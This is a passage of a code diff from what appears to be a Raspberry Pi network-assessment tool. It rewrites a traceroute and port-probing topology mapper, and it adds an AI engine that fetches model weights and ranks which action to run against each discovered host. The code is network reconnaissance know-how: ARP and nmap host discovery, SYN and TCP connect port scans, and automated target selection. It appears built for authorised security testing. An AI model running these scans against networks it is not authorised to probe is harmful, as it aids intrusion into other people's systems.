"rtt_ms": hop_rtt}) + + # Stop if we reached the target + if hop_ip == target: + break + + return hops + + +def _load_existing_topology(output_dir: str) -> Dict[str, Any]: + """ + Load the most recent aggregated topology JSON from output_dir. + Returns an empty topology skeleton if nothing exists yet. + """ + skeleton: Dict[str, Any] = { + "version": b_version, + "nodes": {}, + "edges": [], + "metadata": { + "created": datetime.utcnow().isoformat() + "Z", + "updated": datetime.utcnow().isoformat() + "Z", + "run_count": 0, + }, + } + + if not os.path.isdir(output_dir): + return skeleton + + # Find the latest aggregated file + candidates = [] + try: + for fname in os.listdir(output_dir): + if fname.startswith("topology_aggregate") and fname.endswith(".json"): + fpath = os.path.join(output_dir, fname) + candidates.append((os.path.getmtime(fpath), fpath)) + except Exception: + return skeleton + + if not candidates: + return skeleton + + candidates.sort(reverse=True) + latest_path = candidates[0][1] + + try: + with open(latest_path, "r", encoding="utf-8") as fh: + data = json.load(fh) + if isinstance(data, dict) and "nodes" in data: + return data + except Exception as exc: + logger.warning(f"Failed to load existing topology ({latest_path}): {exc}") + + return skeleton + + +def _merge_node(existing: Dict[str, Any], new: Dict[str, Any]) -> Dict[str, Any]: + """Merge two node dicts, preferring newer / non-empty values.""" + merged = dict(existing) + for key, val in new.items(): + if val is None or val == "" or val == []: + continue + if key == "open_ports": + # Union of port lists + old_ports = set(merged.get("open_ports") or []) + old_ports.update(val if isinstance(val, list) else []) + merged["open_ports"] = sorted(old_ports) + elif key == "rtt_ms": + # Keep lowest non-zero RTT + old_rtt = merged.get("rtt_ms") or 0 + new_rtt = val or 0 + if old_rtt == 0: + merged["rtt_ms"] = new_rtt + elif new_rtt > 0: + merged["rtt_ms"] = min(old_rtt, new_rtt) + else: + merged[key] = val + merged["last_seen"] = datetime.utcnow().isoformat() + "Z" + return merged + + +def _edge_key(src: str, dst: str) -> str: + """Canonical edge key (sorted to avoid duplicates).""" + a, b = sorted([src, dst]) + return f"{a}--{b}" + + +# -------------------- Main Action Class -------------------- class YggdrasilMapper: - def __init__(self, network_range, interface=None, max_depth=5, output_dir=DEFAULT_OUTPUT_DIR, timeout=2): - self.network_range = network_range - self.interface = interface or scapy.conf.iface - self.max_depth = max_depth - self.output_dir = output_dir - self.timeout = timeout - - self.graph = nx.Graph() - self.hosts = {} - self.routes = {} - self.lock = threading.Lock() - - # For parallel processing - self.queue = queue.Queue() - self.results = queue.Queue() + def __init__(self, shared_data): + self.shared_data = shared_data - def discover_hosts(self): - """Discover live hosts in the network range.""" - try: - logging.info(f"Discovering hosts in {self.network_range}") - - # ARP scan for local network - arp_request = scapy.ARP(pdst=self.network_range) - broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff") - packets = broadcast/arp_request - - answered, _ = scapy.srp(packets, timeout=self.timeout, iface=self.interface, verbose=False) - - for sent, received in answered: - ip = received.psrc - mac = received.hwsrc - self.hosts[ip] = {'mac': mac, 'status': 'up'} - logging.info(f"Discovered host: {ip} ({mac})") - - # Additional Nmap scan for service discovery - nm = nmap.PortScanner() - nm.scan(hosts=self.network_range, arguments=f'-sn -T4') - - for host in nm.all_hosts(): - if host not in self.hosts: - self.hosts[host] = {'status': 'up'} - logging.info(f"Discovered host: {host}") - - except Exception as e: - logging.error(f"Error discovering hosts: {e}") + # ---- Phase 1: Traceroute ---- + def _phase_traceroute( + self, + ip: str, + max_depth: int, + probe_timeout: float, + progress: ProgressTracker, + total_steps: int, + ) -> List[Dict[str, Any]]: + """Run traceroute to target. Returns list of hop dicts.""" + logger.info(f"Phase 1: Traceroute to {ip} (max_depth={max_depth})") - def trace_route(self, target): - """Perform traceroute to a target.""" - try: - hops = [] - for ttl in range(1, self.max_depth + 1): - pkt = IP(dst=target, ttl=ttl)/ICMP() - reply = scapy.sr1(pkt, timeout=self.timeout, verbose=False) - - if reply is None: - continue - - if reply.src == target: - hops.append(reply.src) - break - - hops.append(reply.src) - - return hops - except Exception as e: - logging.error(f"Error tracing route to {target}: {e}") - return [] + if _SCAPY_AVAILABLE: + hops = _scapy_traceroute(ip, max_depth, probe_timeout) + else: + hops = _subprocess_traceroute(ip, max_depth, probe_timeout) - def scan_ports(self, ip): - """Scan common ports on a host.""" - try: - common_ports = [21, 22, 23, 25, 53, 80, 443, 445, 3389] - open_ports = [] - - for port in common_ports: - tcp_connect = IP(dst=ip)/TCP(dport=port, flags="S") - response = scapy.sr1(tcp_connect, timeout=self.timeout, verbose=False) - - if response and response.haslayer(TCP): - if response[TCP].flags == 0x12: # SYN-ACK - open_ports.append(port) - # Send RST to close connection - rst = IP(dst=ip)/TCP(dport=port, flags="R") - scapy.send(rst, verbose=False) - - return open_ports - except Exception as e: - logging.error(f"Error scanning ports for {ip}: {e}") - return [] + # Progress: phase 1 is 0-30% (weight = 30% of total_steps) + phase1_steps = max(1, int(total_steps * 0.30)) + progress.advance(phase1_steps) - def worker(self): - """Worker function for parallel processing.""" - while True: - try: - task = self.queue.get() - if task is None: - break - - ip = task - hops = self.trace_route(ip) - ports = self.scan_ports(ip) - - self.results.queue.put({ - 'ip': ip, - 'hops': hops, - 'ports': ports - }) - - self.queue.task_done() - except Exception as e: - logging.error(f"Worker error: {e}") - self.queue.task_done() + logger.info(f"Traceroute to {ip}: {len(hops)} hop(s) discovered") + return hops - def build_topology(self): - """Build network topology by tracing routes and scanning hosts.""" - try: - # Start worker threads - workers = [] - for _ in range(5): # Number of parallel workers - t = threading.Thread(target=self.worker) - t.start() - workers.append(t) - - # Add tasks to queue - for ip in self.hosts.keys(): - self.queue.put(ip) - - # Add None to queue to stop workers - for _ in workers: - self.queue.put(None) - - # Wait for all workers to complete - for t in workers: - t.join() - - # Process results - while not self.results.empty(): - result = self.results.get() - ip = result['ip'] - hops = result['hops'] - ports = result['ports'] - - self.hosts[ip]['ports'] = ports - if len(hops) > 1: - self.routes[ip] = hops - - # Add nodes and edges to graph - self.graph.add_node(ip, **self.hosts[ip]) - for i in range(len(hops) - 1): - self.graph.add_edge(hops[i], hops[i + 1]) - - except Exception as e: - logging.error(f"Error building topology: {e}") + # ---- Phase 2: Service Enrichment ---- + def _phase_enrich( + self, + ip: str, + mac: str, + row: Dict[str, Any], + probe_timeout: float, + progress: ProgressTracker, + total_steps: int, + ) -> Dict[str, Any]: + """ + Enrich the target node with port / service data from the DB and + optional TCP connect probes. + """ + logger.info(f"Phase 2: Service enrichment for {ip}") - def generate_visualization(self): - """Generate network topology visualization.""" - try: - plt.figure(figsize=(12, 8)) - - # Position nodes using spring layout - pos = nx.spring_layout(self.graph) - - # Draw nodes - nx.draw_networkx_nodes(self.graph, pos, node_size=500) - - # Draw edges - nx.draw_networkx_edges(self.graph, pos) - - # Add labels - labels = {} - for node in self.graph.nodes(): - label = f"{node}\n" - if 'ports' in self.hosts[node]: - label += f"Ports: {', '.join(map(str, self.hosts[node]['ports']))}" - labels[node] = label - - nx.draw_networkx_labels(self.graph, pos, labels, font_size=8) - - # Save visualization - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - viz_path = os.path.join(self.output_dir, f"topology_{timestamp}.png") - plt.savefig(viz_path) - plt.close() - - logging.info(f"Visualization saved to {viz_path}") - - except Exception as e: - logging.error(f"Error generating visualization: {e}") - - def save_results(self): - """Save topology data to JSON file.""" - try: - os.makedirs(self.output_dir, exist_ok=True) - timestamp = datetime.now().strftime("%Y-%m-%d_%H-%M-%S") - - results = { - 'timestamp': datetime.now().isoformat(), - 'network_range': self.network_range, - 'hosts': self.hosts, - 'routes': self.routes, - 'topology': { - 'nodes': list(self.graph.nodes()), - 'edges': list(self.graph.edges()) - } - } - - output_file = os.path.join(self.output_dir, f"topology_{timestamp}.json") - with open(output_file, 'w') as f: - json.dump(results, f, indent=4) - - logging.info(f"Results saved to {output_file}") - - except Exception as e: - logging.error(f"Failed to save results: {e}") - - def execute(self): - """Execute the network mapping process.""" - try: - logging.info(f"Starting network mapping of {self.network_range}") - - # Discovery phase - self.discover_hosts() - if not self.hosts: - logging.error("No hosts discovered") - return - - # Topology building phase - self.build_topology() - - # Generate outputs - self.generate_visualization() - self.save_results() - - logging.info("Network mapping completed") - - except Exception as e: - logging.error(f"Error during execution: {e}") - -def save_settings(network_range, interface, max_depth, output_dir, timeout): - """Save settings to JSON file.""" - try: - os.makedirs(DEFAULT_SETTINGS_DIR, exist_ok=True) - settings = { - "network_range": network_range, - "interface": interface, - "max_depth": max_depth, - "output_dir": output_dir, - "timeout": timeout + node_info: Dict[str, Any] = { + "ip": ip, + "mac": mac, + "hostname": "", + "open_ports": [], + "verified_ports": {}, + "vendor": "", } - with open(SETTINGS_FILE, 'w') as f: - json.dump(settings, f) - logging.info(f"Settings saved to {SETTINGS_FILE}") - except Exception as e: - logging.error(f"Failed to save settings: {e}") -def load_settings(): - """Load settings from JSON file.""" - if os.path.exists(SETTINGS_FILE): + # Read hostname + hostname = (row.get("Hostname") or row.get("hostname") or row.get("hostnames") or "").strip() + if ";" in hostname: + hostname = hostname.split(";", 1)[0].strip() + if not hostname: + hostname = _reverse_dns(ip) + node_info["hostname"] = hostname + + # Query DB for known ports to prioritize probing + db_ports = [] try: - with open(SETTINGS_FILE, 'r') as f: - return json.load(f) + # mac is available in the scope + host_data = self.shared_data.db.get_host_by_mac(mac) + if host_data and host_data.get("ports"): + # Normalize ports from DB string + db_ports = [int(p) for p in str(host_data["ports"]).split(";") if p.strip().isdigit()] except Exception as e: - logging.error(f"Failed to load settings: {e}") - return {} + logger.debug(f"Failed to query DB for host ports: {e}") -def main(): - parser = argparse.ArgumentParser(description="Network topology mapping tool") - parser.add_argument("-r", "--range", help="Network range to scan (CIDR)") - parser.add_argument("-i", "--interface", help="Network interface to use") - parser.add_argument("-d", "--depth", type=int, default=5, help="Maximum trace depth") - parser.add_argument("-o", "--output", default=DEFAULT_OUTPUT_DIR, help="Output directory") - parser.add_argument("-t", "--timeout", type=int, default=2, help="Timeout for probes") + # Fallback to defaults if DB is empty + if not db_ports: + # Read existing ports from DB row (compatibility) + ports_txt = str(row.get("Ports") or row.get("ports") or "") + for p in ports_txt.split(";"): + p = p.strip() + if p.isdigit(): + db_ports.append(int(p)) + + node_info["open_ports"] = sorted(set(db_ports)) + + # Vendor and OS guessing + vendor = str(row.get("Vendor") or row.get("vendor") or "").strip() + if not vendor and host_data: + vendor = host_data.get("vendor", "") + node_info["vendor"] = vendor + + # Guess OS if missing (leveraging FeatureLogger patterns if we had access, but we'll do basic here) + # For now, we'll just store what we have. + + # Verify a small set of key ports via TCP connect + verified: Dict[str, Dict[str, Any]] = {} + # Prioritize ports we found in DB + a few common ones + probe_candidates = sorted(set(db_ports + _VERIFY_PORTS))[:10] + + for port in probe_candidates: + if self.shared_data.orchestrator_should_exit: + break + is_open, rtt = _tcp_probe(ip, port, probe_timeout) + if is_open: + verified[str(port)] = {"open": is_open, "rtt_ms": rtt} + # Update node_info open_ports if we found a new one + if port not in node_info["open_ports"]: + node_info["open_ports"].append(port) + node_info["open_ports"].sort() + + node_info["verified_ports"] = verified + + # Progress: phase 2 is 30-60% + phase2_steps = max(1, int(total_steps * 0.30)) + progress.advance(phase2_steps) + self.shared_data.log_milestone(b_class, "Enrichment", f"Discovered {len(node_info['open_ports'])} ports for {ip}") + return node_info + + # ---- Phase 3: Build Topology ---- + def _phase_build_topology( + self, + ip: str, + hops: List[Dict[str, Any]], + target_node: Dict[str, Any], + progress: ProgressTracker, + total_steps: int, + ) -> Tuple[Dict[str, Dict[str, Any]], List[Dict[str, Any]]]: + """ + Build nodes dict and edges list from traceroute hops and target enrichment. + """ + logger.info(f"Phase 3: Building topology graph for {ip}") + + nodes: Dict[str, Dict[str, Any]] = {} + edges: List[Dict[str, Any]] = [] + + # Add target node + nodes[ip] = { + "ip": ip, + "type": "target", + "hostname": target_node.get("hostname", ""), + "mac": target_node.get("mac", ""), + "vendor": target_node.get("vendor", ""), + "open_ports": target_node.get("open_ports", []), + "verified_ports": target_node.get("verified_ports", {}), + "rtt_ms": 0, + "first_seen": datetime.utcnow().isoformat() + "Z", + "last_seen": datetime.utcnow().isoformat() + "Z", + } + + # Add hop nodes and edges + prev_ip: Optional[str] = None + for hop in hops: + hop_ip = hop.get("ip", "*") + hop_rtt = hop.get("rtt_ms", 0) + hop_num = hop.get("hop", 0) + + if hop_ip == "*": + # Unknown hop -- still create a placeholder node + placeholder = f"*_hop{hop_num}" + nodes[placeholder] = { + "ip": placeholder, + "type": "unknown_hop", + "hostname": "", + "mac": "", + "vendor": "", + "open_ports": [], + "verified_ports": {}, + "rtt_ms": 0, + "hop_number": hop_num, + "first_seen": datetime.utcnow().isoformat() + "Z", + "last_seen": datetime.utcnow().isoformat() + "Z", + } + if prev_ip is not None: + edges.append({ + "source": prev_ip, + "target": placeholder, + "hop": hop_num, + "rtt_ms": hop_rtt, + "discovered": datetime.utcnow().isoformat() + "Z", + }) + prev_ip = placeholder + continue + + # Real hop IP + if hop_ip not in nodes: + hop_hostname = _reverse_dns(hop_ip) + nodes[hop_ip] = { + "ip": hop_ip, + "type": "router" if hop_ip != ip else "target", + "hostname": hop_hostname, + "mac": "", + "vendor": "", + "open_ports": [], + "verified_ports": {}, + "rtt_ms": hop_rtt, + "hop_number": hop_num, + "first_seen": datetime.utcnow().isoformat() + "Z", + "last_seen": datetime.utcnow().isoformat() + "Z", + } + else: + # Update RTT if this hop is lower + existing_rtt = nodes[hop_ip].get("rtt_ms") or 0 + if existing_rtt == 0 or (hop_rtt > 0 and hop_rtt < existing_rtt): + nodes[hop_ip]["rtt_ms"] = hop_rtt + + if prev_ip is not None: + edges.append({ + "source": prev_ip, + "target": hop_ip, + "hop": hop_num, + "rtt_ms": hop_rtt, + "discovered": datetime.utcnow().isoformat() + "Z", + }) + + prev_ip = hop_ip + + # Progress: phase 3 is 60-80% (weight = 20% of total_steps) + phase3_steps = max(1, int(total_steps * 0.20)) + progress.advance(phase3_steps) + + logger.info(f"Topology for {ip}: {len(nodes)} node(s), {len(edges)} edge(s)") + return nodes, edges + + # ---- Phase 4: Aggregate ---- + def _phase_aggregate( + self, + new_nodes: Dict[str, Dict[str, Any]], + new_edges: List[Dict[str, Any]], + progress: ProgressTracker, + total_steps: int, + ) -> Dict[str, Any]: + """ + Merge new topology data with previous runs. + """ + logger.info("Phase 4: Aggregating topology data") + + topology = _load_existing_topology(OUTPUT_DIR) + + # Merge nodes + existing_nodes = topology.get("nodes") or {} + if not isinstance(existing_nodes, dict): + existing_nodes = {} + + for node_id, node_data in new_nodes.items(): + if node_id in existing_nodes: + existing_nodes[node_id] = _merge_node(existing_nodes[node_id], node_data) + else: + existing_nodes[node_id] = node_data + + topology["nodes"] = existing_nodes + + # Merge edges (deduplicate by canonical key) + existing_edges = topology.get("edges") or [] + if not isinstance(existing_edges, list): + existing_edges = [] + + seen_keys: set = set() + merged_edges: List[Dict[str, Any]] = [] + + for edge in existing_edges: + ek = _edge_key(str(edge.get("source", "")), str(edge.get("target", ""))) + if ek not in seen_keys: + seen_keys.add(ek) + merged_edges.append(edge) + + for edge in new_edges: + ek = _edge_key(str(edge.get("source", "")), str(edge.get("target", ""))) + if ek not in seen_keys: + seen_keys.add(ek) + merged_edges.append(edge) + + topology["edges"] = merged_edges + + # Update metadata + meta = topology.get("metadata") or {} + meta["updated"] = datetime.utcnow().isoformat() + "Z" + meta["run_count"] = int(meta.get("run_count") or 0) + 1 + meta["node_count"] = len(existing_nodes) + meta["edge_count"] = len(merged_edges) + topology["metadata"] = meta + topology["version"] = b_version + + # Progress: phase 4 is 80-95% (weight = 15% of total_steps) + phase4_steps = max(1, int(total_steps * 0.15)) + progress.advance(phase4_steps) + + logger.info( + f"Aggregated topology: {meta['node_count']} node(s), " + f"{meta['edge_count']} edge(s), run #{meta['run_count']}" + ) + return topology + + # ---- Phase 5: Save ---- + def _phase_save( + self, + topology: Dict[str, Any], + ip: str, + progress: ProgressTracker, + total_steps: int, + ) -> str: + """ + Save topology JSON to disk. Returns the file path written. + """ + logger.info("Phase 5: Saving topology data") + + os.makedirs(OUTPUT_DIR, exist_ok=True) + timestamp = datetime.utcnow().strftime("%Y-%m-%dT%H-%M-%SZ") + + # Per-target snapshot + snapshot_name = f"topology_{ip.replace('.', '_')}_{timestamp}.json" + snapshot_path = os.path.join(OUTPUT_DIR, snapshot_name) + + # Aggregated file (single canonical file, overwritten each run) + aggregate_name = f"topology_aggregate_{timestamp}.json" + aggregate_path = os.path.join(OUTPUT_DIR, aggregate_name) + + try: + with open(snapshot_path, "w", encoding="utf-8") as fh: + json.dump(topology, fh, indent=2, ensure_ascii=True, default=str) + logger.info(f"Snapshot saved: {snapshot_path}") + except Exception as exc: + logger.error(f"Failed to write snapshot {snapshot_path}: {exc}") + + try: + with open(aggregate_path, "w", encoding="utf-8") as fh: + json.dump(topology, fh, indent=2, ensure_ascii=True, default=str) + logger.info(f"Aggregate saved: {aggregate_path}") + except Exception as exc: + logger.error(f"Failed to write aggregate {aggregate_path}: {exc}") + + # Save Mermaid diagram + mermaid_path = os.path.join(OUTPUT_DIR, f"topology_{ip.replace('.', '_')}_{timestamp}.mermaid") + try: + mermaid_str = _generate_mermaid_topology(topology) + with open(mermaid_path, "w", encoding="utf-8") as fh: + fh.write(mermaid_str) + logger.info(f"Mermaid topology saved: {mermaid_path}") + except Exception as exc: + logger.error(f"Failed to write Mermaid topology: {exc}") + + # Progress: phase 5 is 95-100% (weight = 5% of total_steps) + phase5_steps = max(1, int(total_steps * 0.05)) + progress.advance(phase5_steps) + self.shared_data.log_milestone(b_class, "Save", f"Topology saved for {ip}") + + return aggregate_path + + # ---- Main execute ---- + def execute(self, ip, port, row, status_key) -> str: + """ + Orchestrator entry point. Maps topology for a single target host. + + Returns: + 'success' -- topology data written successfully. + 'failed' -- an error prevented meaningful output. + 'interrupted' -- orchestrator requested early exit. + """ + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + # --- Identity cache from DB row --- + mac = ( + row.get("MAC Address") + or row.get("mac_address") + or row.get("mac") + or "" + ).strip() + hostname = ( + row.get("Hostname") + or row.get("hostname") + or row.get("hostnames") + or "" + ).strip() + if ";" in hostname: + hostname = hostname.split(";", 1)[0].strip() + + # --- Configurable arguments --- + max_depth = int(getattr(self.shared_data, "yggdrasil_max_depth", 15)) + probe_timeout = float(getattr(self.shared_data, "yggdrasil_probe_timeout", 2.0)) + + # Clamp to sane ranges + max_depth = max(5, min(max_depth, 30)) + probe_timeout = max(1.0, min(probe_timeout, 5.0)) + + # --- UI status --- + self.shared_data.bjorn_orch_status = "yggdrasil_mapper" + self.shared_data.bjorn_status_text2 = f"{ip}" + self.shared_data.comment_params = {"ip": ip, "mac": mac, "phase": "init"} + + # Total steps for progress (arbitrary units; phases will consume proportional slices) + total_steps = 100 + progress = ProgressTracker(self.shared_data, total_steps) + + try: + # ---- Phase 1: Traceroute (0-30%) ---- + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.log_milestone(b_class, "Traceroute", f"Running trace to {ip}") + hops = self._phase_traceroute(ip, max_depth, probe_timeout, progress, total_steps) + + # ---- Phase 2: Service Enrichment (30-60%) ---- + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.comment_params = {"ip": ip, "phase": "enrich"} + target_node = self._phase_enrich(ip, mac, row, probe_timeout, progress, total_steps) + + # ---- Phase 3: Build Topology (60-80%) ---- + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.comment_params = {"ip": ip, "phase": "topology"} + new_nodes, new_edges = self._phase_build_topology( + ip, hops, target_node, progress, total_steps + ) + + # ---- Phase 4: Aggregate (80-95%) ---- + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.comment_params = {"ip": ip, "phase": "aggregate"} + topology = self._phase_aggregate(new_nodes, new_edges, progress, total_steps) + + # ---- Phase 5: Save (95-100%) ---- + if self.shared_data.orchestrator_should_exit: + return "interrupted" + + self.shared_data.comment_params = {"ip": ip, "phase": "save"} + saved_path = self._phase_save(topology, ip, progress, total_steps) + + # Final UI update + node_count = len(topology.get("nodes") or {}) + edge_count = len(topology.get("edges") or []) + hop_count = len([h for h in hops if h.get("ip") != "*"]) + + self.shared_data.comment_params = { + "ip": ip, + "hops": str(hop_count), + "nodes": str(node_count), + "edges": str(edge_count), + "file": os.path.basename(saved_path), + } + + progress.set_complete() + logger.info( + f"YggdrasilMapper complete for {ip}: " + f"{hop_count} hops, {node_count} nodes, {edge_count} edges" + ) + return "success" + + except Exception as exc: + logger.error(f"YggdrasilMapper failed for {ip}: {exc}", exc_info=True) + self.shared_data.comment_params = {"ip": ip, "error": str(exc)[:120]} + return "failed" + + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + self.shared_data.bjorn_status_text2 = "" + + +# -------------------- Optional CLI (debug / manual) -------------------- +if __name__ == "__main__": + import argparse + from shared import SharedData + + parser = argparse.ArgumentParser(description="YggdrasilMapper (network topology mapper)") + parser.add_argument("--ip", required=True, help="Target IP to trace") + parser.add_argument("--max-depth", type=int, default=15, help="Max traceroute depth") + parser.add_argument("--timeout", type=float, default=2.0, help="Probe timeout in seconds") args = parser.parse_args() - settings = load_settings() - network_range = args.range or settings.get("network_range") - interface = args.interface or settings.get("interface") - max_depth = args.depth or settings.get("max_depth") - output_dir = args.output or settings.get("output_dir") - timeout = args.timeout or settings.get("timeout") + sd = SharedData() - if not network_range: - logging.error("Network range is required. Use -r or save it in settings") - return + # Push CLI args into shared_data so execute() picks them up + sd.yggdrasil_max_depth = args.max_depth + sd.yggdrasil_probe_timeout = args.timeout - save_settings(network_range, interface, max_depth, output_dir, timeout) - - mapper = YggdrasilMapper( - network_range=network_range, - interface=interface, - max_depth=max_depth, - output_dir=output_dir, - timeout=timeout - ) - mapper.execute() - -if __name__ == "__main__": - main() \ No newline at end of file + mapper = YggdrasilMapper(sd) + row = { + "MAC Address": getattr(sd, "get_raspberry_mac", lambda: "__GLOBAL__")() or "__GLOBAL__", + "Hostname": "", + "Ports": "", + } + result = mapper.execute(args.ip, None, row, "yggdrasil_mapper") + print(f"Result: {result}") diff --git a/ai_engine.py b/ai_engine.py new file mode 100644 index 0000000..a93a60e --- /dev/null +++ b/ai_engine.py @@ -0,0 +1,867 @@ +""" +ai_engine.py - Dynamic AI Decision Engine for Bjorn +═══════════════════════════════════════════════════════════════════════════ + +Purpose: + Lightweight AI decision engine for Raspberry Pi Zero. + Works in tandem with deep learning model trained on external PC. + +Architecture: + - Lightweight inference engine (no TensorFlow/PyTorch on Pi) + - Loads pre-trained model weights from PC + - Real-time action selection + - Automatic feature extraction + - Fallback to heuristics when model unavailable + +Model Pipeline: + 1. Pi: Collect data → Export → Transfer to PC + 2. PC: Train deep neural network → Export lightweight model + 3. Pi: Load model → Use for decision making + 4. Repeat: Continuous learning cycle + +Author: Bjorn Team +Version: 2.0.0 +""" + +import json +import numpy as np +from typing import Dict, List, Any, Optional, Tuple +from pathlib import Path +from logger import Logger + +logger = Logger(name="ai_engine.py", level=20) + + +class BjornAIEngine: + """ + Dynamic AI engine for action selection and prioritization. + Uses pre-trained model from external PC or falls back to heuristics. + """ + + def __init__(self, shared_data, model_dir: str = None): + """ + Initialize AI engine + """ + self.shared_data = shared_data + self.db = shared_data.db + + if model_dir is None: + self.model_dir = Path(getattr(shared_data, 'ai_models_dir', '/home/bjorn/ai_models')) + else: + self.model_dir = Path(model_dir) + + self.model_dir.mkdir(parents=True, exist_ok=True) + + # Model state + self.model_loaded = False + self.model_weights = None + self.model_config = None + self.feature_config = None + self.last_server_attempted = False + self.last_server_contact_ok = None + + # Try to load latest model + self._load_latest_model() + + # Fallback heuristics (always available) + self._init_heuristics() + + logger.info( + f"AI Engine initialized (model_loaded={self.model_loaded}, " + f"heuristics_available=True)" + ) + + # ═══════════════════════════════════════════════════════════════════════ + # MODEL LOADING + # ═══════════════════════════════════════════════════════════════════════ + + def _load_latest_model(self): + """Load the most recent model from model directory""" + try: + # Find all potential model configs + all_json_files = [f for f in self.model_dir.glob("bjorn_model_*.json") + if "_weights.json" not in f.name] + + # 1. Filter for files that have matching weights + valid_models = [] + for f in all_json_files: + weights_path = f.with_name(f.stem + '_weights.json') + if weights_path.exists(): + valid_models.append(f) + else: + logger.debug(f"Skipping model {f.name}: Weights file missing") + + if not valid_models: + logger.info(f"No complete models found in {self.model_dir}. Checking server...") + # Try to download from server + if self.check_for_updates(): + return + + logger.info_throttled( + "No AI model available (server offline or empty). Using heuristics only.", + key="ai_no_model_available", + interval_s=600.0, + ) + return + + # 2. Sort by timestamp in filename (lexicographical) and pick latest + latest_model = sorted(valid_models)[-1] + weights_file = latest_model.with_name(latest_model.stem + '_weights.json') + + logger.info(f"Loading model: {latest_model.name} (Weights exists!)") + + with open(latest_model, 'r') as f: + model_data = json.load(f) + + self.model_config = model_data.get('config', model_data) + self.feature_config = model_data.get('features', {}) + + # Load weights + with open(weights_file, 'r') as f: + weights_data = json.load(f) + self.model_weights = { + k: np.array(v) for k, v in weights_data.items() + } + del weights_data # Free raw dict — numpy arrays are the canonical form + + self.model_loaded = True + logger.success( + f"Model loaded successfully: {self.model_config.get('version', 'unknown')}" + ) + + except Exception as e: + logger.error(f"Failed to load model: {e}") + import traceback + logger.debug(traceback.format_exc()) + self.model_loaded = False + + def reload_model(self) -> bool: + """Reload model from disk""" + logger.info("Reloading AI model...") + self.model_loaded = False + self.model_weights = None + self.model_config = None + self.feature_config = None + + self._load_latest_model() + return self.model_loaded + + def check_for_updates(self) -> bool: + """Check AI Server for new model version.""" + self.last_server_attempted = False + self.last_server_contact_ok = None + try: + import requests + import os + except ImportError: + return False + + url = self.shared_data.config.get("ai_server_url") + if not url: + return False + + try: + logger.debug(f"Checking AI Server for updates at {url}/model/latest") + from ai_utils import get_system_mac + params = {'mac_addr': get_system_mac()} + self.last_server_attempted = True + resp = requests.get(f"{url}/model/latest", params=params, timeout=5) + # Any HTTP response means server is reachable. + self.last_server_contact_ok = True + + if resp.status_code != 200: + return False + + remote_config = resp.json() + remote_version = str(remote_config.get("version", "")).strip() + + if not remote_version: + return False + + current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0" + + if remote_version > current_version: + logger.info(f"New model available: {remote_version} (Local: {current_version})") + + # Download config (stream to avoid loading the whole file into RAM) + r_conf = requests.get( + f"{url}/model/download/bjorn_model_{remote_version}.json", + stream=True, timeout=15, + ) + if r_conf.status_code == 200: + conf_path = self.model_dir / f"bjorn_model_{remote_version}.json" + with open(conf_path, 'wb') as f: + for chunk in r_conf.iter_content(chunk_size=8192): + if chunk: + f.write(chunk) + f.flush() + os.fsync(f.fileno()) + else: + logger.info_throttled( + f"AI model download skipped (config HTTP {r_conf.status_code})", + key=f"ai_model_dl_conf_{r_conf.status_code}", + interval_s=300.0, + ) + return False + + # Download weights (stream to avoid loading the whole file into RAM) + r_weights = requests.get( + f"{url}/model/download/bjorn_model_{remote_version}_weights.json", + stream=True, timeout=30, + ) + if r_weights.status_code == 200: + weights_path = self.model_dir / f"bjorn_model_{remote_version}_weights.json" + with open(weights_path, 'wb') as f: + for chunk in r_weights.iter_content(chunk_size=8192): + if chunk: + f.write(chunk) + f.flush() + os.fsync(f.fileno()) + + logger.success(f"Downloaded model {remote_version} files to Pi.") + else: + logger.info_throttled( + f"AI model download skipped (weights HTTP {r_weights.status_code})", + key=f"ai_model_dl_weights_{r_weights.status_code}", + interval_s=300.0, + ) + return False + + # Reload explicitly + return self.reload_model() + + logger.debug(f"Server model ({remote_version}) is not newer than local ({current_version})") + return False + + except Exception as e: + self.last_server_attempted = True + self.last_server_contact_ok = False + # Server may be offline; avoid spamming errors in AI mode. + logger.info_throttled( + f"AI server unavailable for model update check: {e}", + key="ai_model_update_check_failed", + interval_s=300.0, + ) + return False + + # ═══════════════════════════════════════════════════════════════════════ + # DECISION MAKING + # ═══════════════════════════════════════════════════════════════════════ + + def choose_action( + self, + host_context: Dict[str, Any], + available_actions: List[str], + exploration_rate: float = None + ) -> Tuple[str, float, Dict[str, Any]]: + """ + Choose the best action for a given host. + + Args: + host_context: Dict with host information (mac, ports, hostname, etc.) + available_actions: List of action names that can be executed + exploration_rate: Probability of random exploration (0.0-1.0) + + Returns: + Tuple of (action_name, confidence_score, debug_info) + """ + if exploration_rate is None: + exploration_rate = float(getattr(self.shared_data, "ai_exploration_rate", 0.1)) + + try: + # Exploration: random action + if exploration_rate > 0 and np.random.random() < exploration_rate: + import random + action = random.choice(available_actions) + return action, 0.0, {'method': 'exploration', 'exploration_rate': exploration_rate} + + # If model is loaded, use it for prediction + if self.model_loaded and self.model_weights: + return self._predict_with_model(host_context, available_actions) + + # Fallback to heuristics + return self._predict_with_heuristics(host_context, available_actions) + + except Exception as e: + logger.error(f"Error choosing action: {e}") + # Ultimate fallback: first available action + if available_actions: + return available_actions[0], 0.0, {'method': 'fallback_error', 'error': str(e)} + return None, 0.0, {'method': 'no_actions', 'error': 'No available actions'} + + def _predict_with_model( + self, + host_context: Dict[str, Any], + available_actions: List[str] + ) -> Tuple[str, float, Dict[str, Any]]: + """ + Use loaded neural network model for prediction. + Dynamically maps extracted features to model manifest. + """ + try: + from ai_utils import extract_neural_features_dict + + # 1. Get model feature manifest + manifest = self.model_config.get('architecture', {}).get('feature_names', []) + if not manifest: + # Legacy fallback + return self._predict_with_model_legacy(host_context, available_actions) + + # 2. Extract host-level features + mac = host_context.get('mac', '') + host = self.db.get_host_by_mac(mac) if mac else {} + + host_data = self._get_host_context_from_db(mac, host) + net_data = self._get_network_context() + temp_data_base = self._get_temporal_context(mac) # MAC-level temporal, called once + + best_action = None + best_score = -1.0 + all_scores = {} + + # 3. Score each action + for action in available_actions: + action_data = self._get_action_context(action, host, mac) + + # Merge action-level temporal overrides into temporal context copy + temp_data = 